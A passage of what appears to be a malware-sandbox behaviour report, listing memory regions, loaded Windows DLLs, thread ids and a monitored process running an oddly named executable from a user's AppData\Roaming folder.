	     entry_point = 0x7fef2830000
	     region_type = mapped_file
	            name = "w32time.dll"
	        filename = "\\Windows\\System32\\w32time.dll" (normalized: "c:\\windows\\system32\\w32time.dll")

Region:
	              id = 630
	        start_va = 0x7fef4710000
	          end_va = 0x7fef47e7fff
	     entry_point = 0x7fef4710000
	     region_type = mapped_file
	            name = "perftrack.dll"
	        filename = "\\Windows\\System32\\perftrack.dll" (normalized: "c:\\windows\\system32\\perftrack.dll")

Region:
	              id = 631
	        start_va = 0x7fef54c0000
	          end_va = 0x7fef54cffff
	     entry_point = 0x7fef54c0000
	     region_type = mapped_file
	            name = "sfc_os.dll"
	        filename = "\\Windows\\System32\\sfc_os.dll" (normalized: "c:\\windows\\system32\\sfc_os.dll")

Region:
	              id = 632
	        start_va = 0x7fef54d0000
	          end_va = 0x7fef54e1fff
	     entry_point = 0x7fef54d0000
	     region_type = mapped_file
	            name = "aepic.dll"
	        filename = "\\Windows\\System32\\aepic.dll" (normalized: "c:\\windows\\system32\\aepic.dll")

Region:
	              id = 633
	        start_va = 0x7fef5c40000
	          end_va = 0x7fef5cb3fff
	     entry_point = 0x7fef5c40000
	     region_type = mapped_file
	            name = "netprofm.dll"
	        filename = "\\Windows\\System32\\netprofm.dll" (normalized: "c:\\windows\\system32\\netprofm.dll")

Region:
	              id = 634
	        start_va = 0x7fef6620000
	          end_va = 0x7fef6638fff
	     entry_point = 0x7fef6620000
	     region_type = mapped_file
	            name = "wdi.dll"
	        filename = "\\Windows\\System32\\wdi.dll" (normalized: "c:\\windows\\system32\\wdi.dll")

Region:
	              id = 635
	        start_va = 0x7fef70f0000
	          end_va = 0x7fef70f7fff
	     entry_point = 0x7fef70f0000
	     region_type = mapped_file
	            name = "rasadhlp.dll"
	        filename = "\\Windows\\System32\\rasadhlp.dll" (normalized: "c:\\windows\\system32\\rasadhlp.dll")

Region:
	              id = 636
	        start_va = 0x7fef7100000
	          end_va = 0x7fef7163fff
	     entry_point = 0x7fef7100000
	     region_type = mapped_file
	            name = "webio.dll"
	        filename = "\\Windows\\System32\\webio.dll" (normalized: "c:\\windows\\system32\\webio.dll")

Region:
	              id = 637
	        start_va = 0x7fef7170000
	          end_va = 0x7fef71e0fff
	     entry_point = 0x7fef7170000
	     region_type = mapped_file
	            name = "winhttp.dll"
	        filename = "\\Windows\\System32\\winhttp.dll" (normalized: "c:\\windows\\system32\\winhttp.dll")

Region:
	              id = 638
	        start_va = 0x7fef71f0000
	          end_va = 0x7fef71fafff
	     entry_point = 0x7fef71f0000
	     region_type = mapped_file
	            name = "winrnr.dll"
	        filename = "\\Windows\\System32\\winrnr.dll" (normalized: "c:\\windows\\system32\\winrnr.dll")

Region:
	              id = 639
	        start_va = 0x7fef7200000
	          end_va = 0x7fef7218fff
	     entry_point = 0x7fef7200000
	     region_type = mapped_file
	            name = "pnrpnsp.dll"
	        filename = "\\Windows\\System32\\pnrpnsp.dll" (normalized: "c:\\windows\\system32\\pnrpnsp.dll")

Region:
	              id = 640
	        start_va = 0x7fef7220000
	          end_va = 0x7fef7234fff
	     entry_point = 0x7fef7220000
	     region_type = mapped_file
	            name = "napinsp.dll"
	        filename = "\\Windows\\System32\\NapiNSP.dll" (normalized: "c:\\windows\\system32\\napinsp.dll")

Region:
	              id = 641
	        start_va = 0x7fef8040000
	          end_va = 0x7fef8057fff
	     entry_point = 0x7fef8040000
	     region_type = mapped_file
	            name = "vmictimeprovider.dll"
	        filename = "\\Windows\\System32\\vmictimeprovider.dll" (normalized: "c:\\windows\\system32\\vmictimeprovider.dll")

Region:
	              id = 642
	        start_va = 0x7fef8320000
	          end_va = 0x7fef839bfff
	     entry_point = 0x7fef8320000
	     region_type = mapped_file
	            name = "wer.dll"
	        filename = "\\Windows\\System32\\wer.dll" (normalized: "c:\\windows\\system32\\wer.dll")

Region:
	              id = 643
	        start_va = 0x7fefac00000
	          end_va = 0x7fefac17fff
	     entry_point = 0x7fefac00000
	     region_type = mapped_file
	            name = "dhcpcsvc.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc.dll")

Region:
	              id = 644
	        start_va = 0x7fefac20000
	          end_va = 0x7fefac30fff
	     entry_point = 0x7fefac20000
	     region_type = mapped_file
	            name = "dhcpcsvc6.dll"
	        filename = "\\Windows\\System32\\dhcpcsvc6.dll" (normalized: "c:\\windows\\system32\\dhcpcsvc6.dll")

Region:
	              id = 645
	        start_va = 0x7fefacf0000
	          end_va = 0x7fefad42fff
	     entry_point = 0x7fefacf0000
	     region_type = mapped_file
	            name = "fwpuclnt.dll"
	        filename = "\\Windows\\System32\\FWPUCLNT.DLL" (normalized: "c:\\windows\\system32\\fwpuclnt.dll")

Region:
	              id = 646
	        start_va = 0x7fefae20000
	          end_va = 0x7fefae29fff
	     entry_point = 0x7fefae20000
	     region_type = mapped_file
	            name = "nsisvc.dll"
	        filename = "\\Windows\\System32\\nsisvc.dll" (normalized: "c:\\windows\\system32\\nsisvc.dll")

Region:
	              id = 647
	        start_va = 0x7fefae50000
	          end_va = 0x7fefae5afff
	     entry_point = 0x7fefae50000
	     region_type = mapped_file
	            name = "winnsi.dll"
	        filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll")

Region:
	              id = 648
	        start_va = 0x7fefae60000
	          end_va = 0x7fefae86fff
	     entry_point = 0x7fefae60000
	     region_type = mapped_file
	            name = "iphlpapi.dll"
	        filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll")

Region:
	              id = 649
	        start_va = 0x7fefaed0000
	          end_va = 0x7fefaf36fff
	     entry_point = 0x7fefaed0000
	     region_type = mapped_file
	            name = "es.dll"
	        filename = "\\Windows\\System32\\es.dll" (normalized: "c:\\windows\\system32\\es.dll")

Region:
	              id = 650
	        start_va = 0x7fefaf50000
	          end_va = 0x7fefaf5bfff
	     entry_point = 0x7fefaf50000
	     region_type = mapped_file
	            name = "dsrole.dll"
	        filename = "\\Windows\\System32\\dsrole.dll" (normalized: "c:\\windows\\system32\\dsrole.dll")

Region:
	              id = 651
	        start_va = 0x7fefb010000
	          end_va = 0x7fefb024fff
	     entry_point = 0x7fefb010000
	     region_type = mapped_file
	            name = "nlaapi.dll"
	        filename = "\\Windows\\System32\\nlaapi.dll" (normalized: "c:\\windows\\system32\\nlaapi.dll")

Region:
	              id = 652
	        start_va = 0x7fefb5f0000
	          end_va = 0x7fefb5fbfff
	     entry_point = 0x7fefb5f0000
	     region_type = mapped_file
	            name = "npmproxy.dll"
	        filename = "\\Windows\\System32\\npmproxy.dll" (normalized: "c:\\windows\\system32\\npmproxy.dll")

Region:
	              id = 653
	        start_va = 0x7fefb7d0000
	          end_va = 0x7fefb7e7fff
	     entry_point = 0x7fefb7d0000
	     region_type = mapped_file
	            name = "dwmapi.dll"
	        filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll")

Region:
	              id = 654
	        start_va = 0x7fefc560000
	          end_va = 0x7fefc56bfff
	     entry_point = 0x7fefc560000
	     region_type = mapped_file
	            name = "version.dll"
	        filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll")

Region:
	              id = 655
	        start_va = 0x7fefc630000
	          end_va = 0x7fefc636fff
	     entry_point = 0x7fefc630000
	     region_type = mapped_file
	            name = "wshtcpip.dll"
	        filename = "\\Windows\\System32\\WSHTCPIP.DLL" (normalized: "c:\\windows\\system32\\wshtcpip.dll")

Region:
	              id = 656
	        start_va = 0x7fefc720000
	          end_va = 0x7fefc73afff
	     entry_point = 0x7fefc720000
	     region_type = mapped_file
	            name = "gpapi.dll"
	        filename = "\\Windows\\System32\\gpapi.dll" (normalized: "c:\\windows\\system32\\gpapi.dll")

Region:
	              id = 657
	        start_va = 0x7fefc740000
	          end_va = 0x7fefc75dfff
	     entry_point = 0x7fefc740000
	     region_type = mapped_file
	            name = "userenv.dll"
	        filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll")

Region:
	              id = 658
	        start_va = 0x7fefc890000
	          end_va = 0x7fefc899fff
	     entry_point = 0x7fefc890000
	     region_type = mapped_file
	            name = "credssp.dll"
	        filename = "\\Windows\\System32\\credssp.dll" (normalized: "c:\\windows\\system32\\credssp.dll")

Region:
	              id = 659
	        start_va = 0x7fefc990000
	          end_va = 0x7fefc9d6fff
	     entry_point = 0x7fefc990000
	     region_type = mapped_file
	            name = "rsaenh.dll"
	        filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll")

Region:
	              id = 660
	        start_va = 0x7fefca80000
	          end_va = 0x7fefcaaffff
	     entry_point = 0x7fefca80000
	     region_type = mapped_file
	            name = "logoncli.dll"
	        filename = "\\Windows\\System32\\logoncli.dll" (normalized: "c:\\windows\\system32\\logoncli.dll")

Region:
	              id = 661
	        start_va = 0x7fefcab0000
	          end_va = 0x7fefcb0afff
	     entry_point = 0x7fefcab0000
	     region_type = mapped_file
	            name = "dnsapi.dll"
	        filename = "\\Windows\\System32\\dnsapi.dll" (normalized: "c:\\windows\\system32\\dnsapi.dll")

Region:
	              id = 662
	        start_va = 0x7fefcc20000
	          end_va = 0x7fefcc26fff
	     entry_point = 0x7fefcc20000
	     region_type = mapped_file
	            name = "wship6.dll"
	        filename = "\\Windows\\System32\\wship6.dll" (normalized: "c:\\windows\\system32\\wship6.dll")

Region:
	              id = 663
	        start_va = 0x7fefcc30000
	          end_va = 0x7fefcc84fff
	     entry_point = 0x7fefcc30000
	     region_type = mapped_file
	            name = "mswsock.dll"
	        filename = "\\Windows\\System32\\mswsock.dll" (normalized: "c:\\windows\\system32\\mswsock.dll")

Region:
	              id = 664
	        start_va = 0x7fefcc90000
	          end_va = 0x7fefcca6fff
	     entry_point = 0x7fefcc90000
	     region_type = mapped_file
	            name = "cryptsp.dll"
	        filename = "\\Windows\\System32\\cryptsp.dll" (normalized: "c:\\windows\\system32\\cryptsp.dll")

Region:
	              id = 665
	        start_va = 0x7fefcf30000
	          end_va = 0x7fefcf43fff
	     entry_point = 0x7fefcf30000
	     region_type = mapped_file
	            name = "cryptdll.dll"
	        filename = "\\Windows\\System32\\cryptdll.dll" (normalized: "c:\\windows\\system32\\cryptdll.dll")

Region:
	              id = 666
	        start_va = 0x7fefd230000
	          end_va = 0x7fefd23afff
	     entry_point = 0x7fefd230000
	     region_type = mapped_file
	            name = "secur32.dll"
	        filename = "\\Windows\\System32\\secur32.dll" (normalized: "c:\\windows\\system32\\secur32.dll")

Region:
	              id = 667
	        start_va = 0x7fefd260000
	          end_va = 0x7fefd284fff
	     entry_point = 0x7fefd260000
	     region_type = mapped_file
	            name = "sspicli.dll"
	        filename = "\\Windows\\System32\\sspicli.dll" (normalized: "c:\\windows\\system32\\sspicli.dll")

Region:
	              id = 668
	        start_va = 0x7fefd290000
	          end_va = 0x7fefd29efff
	     entry_point = 0x7fefd290000
	     region_type = mapped_file
	            name = "cryptbase.dll"
	        filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll")

Region:
	              id = 669
	        start_va = 0x7fefd2a0000
	          end_va = 0x7fefd330fff
	     entry_point = 0x7fefd2a0000
	     region_type = mapped_file
	            name = "sxs.dll"
	        filename = "\\Windows\\System32\\sxs.dll" (normalized: "c:\\windows\\system32\\sxs.dll")

Region:
	              id = 670
	        start_va = 0x7fefd380000
	          end_va = 0x7fefd393fff
	     entry_point = 0x7fefd380000
	     region_type = mapped_file
	            name = "rpcrtremote.dll"
	        filename = "\\Windows\\System32\\RpcRtRemote.dll" (normalized: "c:\\windows\\system32\\rpcrtremote.dll")

Region:
	              id = 671
	        start_va = 0x7fefd3a0000
	          end_va = 0x7fefd3aefff
	     entry_point = 0x7fefd3a0000
	     region_type = mapped_file
	            name = "profapi.dll"
	        filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll")

Region:
	              id = 672
	        start_va = 0x7fefd6c0000
	          end_va = 0x7fefd72afff
	     entry_point = 0x7fefd6c0000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll")

Region:
	              id = 673
	        start_va = 0x7fefd8a0000
	          end_va = 0x7fefd976fff
	     entry_point = 0x7fefd8a0000
	     region_type = mapped_file
	            name = "oleaut32.dll"
	        filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll")

Region:
	              id = 674
	        start_va = 0x7fefd980000
	          end_va = 0x7fefdb82fff
	     entry_point = 0x7fefd980000
	     region_type = mapped_file
	            name = "ole32.dll"
	        filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll")

Region:
	              id = 675
	        start_va = 0x7fefdb90000
	          end_va = 0x7fefdc98fff
	     entry_point = 0x7fefdb90000
	     region_type = mapped_file
	            name = "msctf.dll"
	        filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll")

Region:
	              id = 676
	        start_va = 0x7fefdca0000
	          end_va = 0x7fefdcbefff
	     entry_point = 0x7fefdca0000
	     region_type = mapped_file
	            name = "sechost.dll"
	        filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll")

Region:
	              id = 677
	        start_va = 0x7fefecb0000
	          end_va = 0x7fefed20fff
	     entry_point = 0x7fefecb0000
	     region_type = mapped_file
	            name = "shlwapi.dll"
	        filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll")

Region:
	              id = 678
	        start_va = 0x7fefed30000
	          end_va = 0x7fefee5cfff
	     entry_point = 0x7fefed30000
	     region_type = mapped_file
	            name = "rpcrt4.dll"
	        filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll")

Region:
	              id = 679
	        start_va = 0x7fefee60000
	          end_va = 0x7fefee8dfff
	     entry_point = 0x7fefee60000
	     region_type = mapped_file
	            name = "imm32.dll"
	        filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll")

Region:
	              id = 680
	        start_va = 0x7fefee90000
	          end_va = 0x7fefef58fff
	     entry_point = 0x7fefee90000
	     region_type = mapped_file
	            name = "usp10.dll"
	        filename = "\\Windows\\System32\\usp10.dll" (normalized: "c:\\windows\\system32\\usp10.dll")

Region:
	              id = 681
	        start_va = 0x7fefef60000
	          end_va = 0x7fefeffefff
	     entry_point = 0x7fefef60000
	     region_type = mapped_file
	            name = "msvcrt.dll"
	        filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll")

Region:
	              id = 682
	        start_va = 0x7feff440000
	          end_va = 0x7feff447fff
	     entry_point = 0x7feff440000
	     region_type = mapped_file
	            name = "nsi.dll"
	        filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll")

Region:
	              id = 683
	        start_va = 0x7feff470000
	          end_va = 0x7feff54afff
	     entry_point = 0x7feff470000
	     region_type = mapped_file
	            name = "advapi32.dll"
	        filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll")

Region:
	              id = 684
	        start_va = 0x7feff5f0000
	          end_va = 0x7feff5fdfff
	     entry_point = 0x7feff5f0000
	     region_type = mapped_file
	            name = "lpk.dll"
	        filename = "\\Windows\\System32\\lpk.dll" (normalized: "c:\\windows\\system32\\lpk.dll")

Region:
	              id = 685
	        start_va = 0x7feff600000
	          end_va = 0x7feff666fff
	     entry_point = 0x7feff600000
	     region_type = mapped_file
	            name = "gdi32.dll"
	        filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll")

Region:
	              id = 686
	        start_va = 0x7feff670000
	          end_va = 0x7feff6bcfff
	     entry_point = 0x7feff670000
	     region_type = mapped_file
	            name = "ws2_32.dll"
	        filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll")

Region:
	              id = 687
	        start_va = 0x7feff6c0000
	          end_va = 0x7feff758fff
	     entry_point = 0x7feff6c0000
	     region_type = mapped_file
	            name = "clbcatq.dll"
	        filename = "\\Windows\\System32\\clbcatq.dll" (normalized: "c:\\windows\\system32\\clbcatq.dll")

Region:
	              id = 688
	        start_va = 0x7feff770000
	          end_va = 0x7feff770fff
	     entry_point = 0x7feff770000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 689
	        start_va = 0x7fffff8e000
	          end_va = 0x7fffff8ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff8e000"
	        filename = ""

Region:
	              id = 690
	        start_va = 0x7fffff90000
	          end_va = 0x7fffff91fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff90000"
	        filename = ""

Region:
	              id = 691
	        start_va = 0x7fffff96000
	          end_va = 0x7fffff97fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff96000"
	        filename = ""

Region:
	              id = 692
	        start_va = 0x7fffff98000
	          end_va = 0x7fffff99fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff98000"
	        filename = ""

Region:
	              id = 693
	        start_va = 0x7fffff9a000
	          end_va = 0x7fffff9bfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffff9a000"
	        filename = ""

Region:
	              id = 694
	        start_va = 0x7fffffa0000
	          end_va = 0x7fffffa1fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa0000"
	        filename = ""

Region:
	              id = 695
	        start_va = 0x7fffffa2000
	          end_va = 0x7fffffa3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa2000"
	        filename = ""

Region:
	              id = 696
	        start_va = 0x7fffffa4000
	          end_va = 0x7fffffa5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa4000"
	        filename = ""

Region:
	              id = 697
	        start_va = 0x7fffffa6000
	          end_va = 0x7fffffa7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa6000"
	        filename = ""

Region:
	              id = 698
	        start_va = 0x7fffffa8000
	          end_va = 0x7fffffa9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffa8000"
	        filename = ""

Region:
	              id = 699
	        start_va = 0x7fffffaa000
	          end_va = 0x7fffffabfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffaa000"
	        filename = ""

Region:
	              id = 700
	        start_va = 0x7fffffac000
	          end_va = 0x7fffffadfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffac000"
	        filename = ""

Region:
	              id = 701
	        start_va = 0x7fffffae000
	          end_va = 0x7fffffaffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffae000"
	        filename = ""

Region:
	              id = 702
	        start_va = 0x7fffffb0000
	          end_va = 0x7fffffd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000007fffffb0000"
	        filename = ""

Region:
	              id = 703
	        start_va = 0x7fffffd3000
	          end_va = 0x7fffffd3fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd3000"
	        filename = ""

Region:
	              id = 704
	        start_va = 0x7fffffd4000
	          end_va = 0x7fffffd5fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd4000"
	        filename = ""

Region:
	              id = 705
	        start_va = 0x7fffffd6000
	          end_va = 0x7fffffd7fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd6000"
	        filename = ""

Region:
	              id = 706
	        start_va = 0x7fffffd8000
	          end_va = 0x7fffffd9fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffd8000"
	        filename = ""

Region:
	              id = 707
	        start_va = 0x7fffffda000
	          end_va = 0x7fffffdbfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffda000"
	        filename = ""

Region:
	              id = 708
	        start_va = 0x7fffffdc000
	          end_va = 0x7fffffddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffdc000"
	        filename = ""

Region:
	              id = 709
	        start_va = 0x7fffffde000
	          end_va = 0x7fffffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000007fffffde000"
	        filename = ""


Thread:
	id = 33
	os_tid = 0xa74


Thread:
	id = 34
	os_tid = 0xa6c


Thread:
	id = 35
	os_tid = 0xa64


Thread:
	id = 36
	os_tid = 0xc4


Thread:
	id = 37
	os_tid = 0x5fc


Thread:
	id = 38
	os_tid = 0x75c


Thread:
	id = 39
	os_tid = 0x718


Thread:
	id = 40
	os_tid = 0x708


Thread:
	id = 41
	os_tid = 0x5c0


Thread:
	id = 42
	os_tid = 0x5ac


Thread:
	id = 43
	os_tid = 0x5a0


Thread:
	id = 44
	os_tid = 0x564


Thread:
	id = 45
	os_tid = 0x558


Thread:
	id = 46
	os_tid = 0x46c


Thread:
	id = 47
	os_tid = 0x6a4


Thread:
	id = 48
	os_tid = 0x154


Thread:
	id = 49
	os_tid = 0x150


Thread:
	id = 50
	os_tid = 0x120


Thread:
	id = 51
	os_tid = 0xf0


Thread:
	id = 66
	os_tid = 0xb90


Thread:
	id = 246
	os_tid = 0x470


Thread:
	id = 247
	os_tid = 0x264


Thread:
	id = 249
	os_tid = 0xa50


Process:
	id = "4"
	image_name = "jsjhdhdhdhjfjhhf.exe"
	filename = "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe"
	page_root = "0x319e1000"
	os_pid = "0xaf8"
	os_integrity_level = "0x2000"
	os_privileges = "0x800000"
	monitor_reason = "child_process"
	parent_id = "2"
	os_parent_pid = "0xac8"
	cmd_line = "\"C:\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe\" "
	cur_dir = "C:\\Windows\\system32\\"
	os_username = "YKYD69Q\\aETAdzjz"
	os_groups = "YKYD69Q\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0x10], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ee00" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7]

Region:
	              id = 743
	        start_va = 0x10000
	          end_va = 0x2ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000010000"
	        filename = ""

Region:
	              id = 744
	        start_va = 0x30000
	          end_va = 0x31fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000030000"
	        filename = ""

Region:
	              id = 745
	        start_va = 0x40000
	          end_va = 0x40fff
	     entry_point = 0x40000
	     region_type = mapped_file
	            name = "apisetschema.dll"
	        filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll")

Region:
	              id = 746
	        start_va = 0xb0000
	          end_va = 0xeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000000b0000"
	        filename = ""

Region:
	              id = 747
	        start_va = 0x100000
	          end_va = 0x219fff
	     entry_point = 0x100000
	     region_type = mapped_file
	            name = "jsjhdhdhdhjfjhhf.exe"
	        filename = "\\Users\\aETAdzjz\\AppData\\Roaming\\jsjhdhdhdhjfjhhf.exe" (normalized: "c:\\users\\aetadzjz\\appdata\\roaming\\jsjhdhdhdhjfjhhf.exe")

Region:
	              id = 748
	        start_va = 0x3e0000
	          end_va = 0x4dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000003e0000"
	        filename = ""

Region:
	              id = 749
	        start_va = 0x77450000
	          end_va = 0x775f8fff
	     entry_point = 0x77450000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll")

Region:
	              id = 750
	        start_va = 0x77630000
	          end_va = 0x777affff
	     entry_point = 0x77630000
	     region_type = mapped_file
	            name = "ntdll.dll"
	        filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll")

Region:
	              id = 751
	        start_va = 0x7efb0000
	          end_va = 0x7efd2fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efb0000"
	        filename = ""

Region:
	              id = 752
	        start_va = 0x7efdb000
	          end_va = 0x7efddfff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdb000"
	        filename = ""

Region:
	              id = 753
	        start_va = 0x7efde000
	          end_va = 0x7efdefff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efde000"
	        filename = ""

Region:
	              id = 754
	        start_va = 0x7efdf000
	          end_va = 0x7efdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efdf000"
	        filename = ""

Region:
	              id = 755
	        start_va = 0x7efe0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007efe0000"
	        filename = ""

Region:
	              id = 756
	        start_va = 0x7ffe0000
	          end_va = 0x7ffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007ffe0000"
	        filename = ""

Region:
	              id = 757
	        start_va = 0x7fff0000
	          end_va = 0x7fffffeffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007fff0000"
	        filename = ""

Region:
	              id = 762
	        start_va = 0x50000
	          end_va = 0x53fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000050000"
	        filename = ""

Region:
	              id = 763
	        start_va = 0x60000
	          end_va = 0x60fff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000060000"
	        filename = ""

Region:
	              id = 764
	        start_va = 0x650000
	          end_va = 0x6cffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000650000"
	        filename = ""

Region:
	              id = 765
	        start_va = 0x74ac0000
	          end_va = 0x74ac7fff
	     entry_point = 0x74ac0000
	     region_type = mapped_file
	            name = "wow64cpu.dll"
	        filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll")

Region:
	              id = 766
	        start_va = 0x74ad0000
	          end_va = 0x74b2bfff
	     entry_point = 0x74ad0000
	     region_type = mapped_file
	            name = "wow64win.dll"
	        filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll")

Region:
	              id = 767
	        start_va = 0x74b30000
	          end_va = 0x74b6efff
	     entry_point = 0x74b30000
	     region_type = mapped_file
	            name = "wow64.dll"
	        filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll")

Region:
	              id = 768
	        start_va = 0x10000
	          end_va = 0x1ffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x0000000000010000"
	        filename = ""

Region:
	              id = 769
	        start_va = 0x220000
	          end_va = 0x286fff
	     entry_point = 0x220000
	     region_type = mapped_file
	            name = "locale.nls"
	        filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls")

Region:
	              id = 770
	        start_va = 0x840000
	          end_va = 0x93ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000840000"
	        filename = ""

Region:
	              id = 771
	        start_va = 0x743c0000
	          end_va = 0x74409fff
	     entry_point = 0x743c0000
	     region_type = mapped_file
	            name = "mscoree.dll"
	        filename = "\\Windows\\SysWOW64\\mscoree.dll" (normalized: "c:\\windows\\syswow64\\mscoree.dll")

Region:
	              id = 772
	        start_va = 0x75730000
	          end_va = 0x7583ffff
	     entry_point = 0x75730000
	     region_type = mapped_file
	            name = "kernel32.dll"
	        filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll")

Region:
	              id = 773
	        start_va = 0x75850000
	          end_va = 0x75895fff
	     entry_point = 0x75850000
	     region_type = mapped_file
	            name = "kernelbase.dll"
	        filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll")

Region:
	              id = 774
	        start_va = 0x77230000
	          end_va = 0x77329fff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077230000"
	        filename = ""

Region:
	              id = 775
	        start_va = 0x77330000
	          end_va = 0x7744efff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000077330000"
	        filename = ""

Region:
	              id = 776
	        start_va = 0x7efe0000
	          end_va = 0x7f0dffff
	     entry_point = 0x0
	     region_type = pagefile_backed
	            name = "pagefile_0x000000007efe0000"
	        filename = ""

Region:
	              id = 777
	        start_va = 0x7f0e0000
	          end_va = 0x7ffdffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x000000007f0e0000"
	        filename = ""

Region:
	              id = 778
	        start_va = 0x320000
	          end_va = 0x32ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000320000"
	        filename = ""

Region:
	              id = 779
	        start_va = 0x340000
	          end_va = 0x34ffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x0000000000340000"
	        filename = ""

Region:
	              id = 780
	        start_va = 0x5a0000
	          end_va = 0x5dffff
	     entry_point = 0x0
	     region_type = private
	            name = "private_0x00000000005a0000"
	        filename = ""

Region:
	              id = 781
	        start_va = 0x75180000
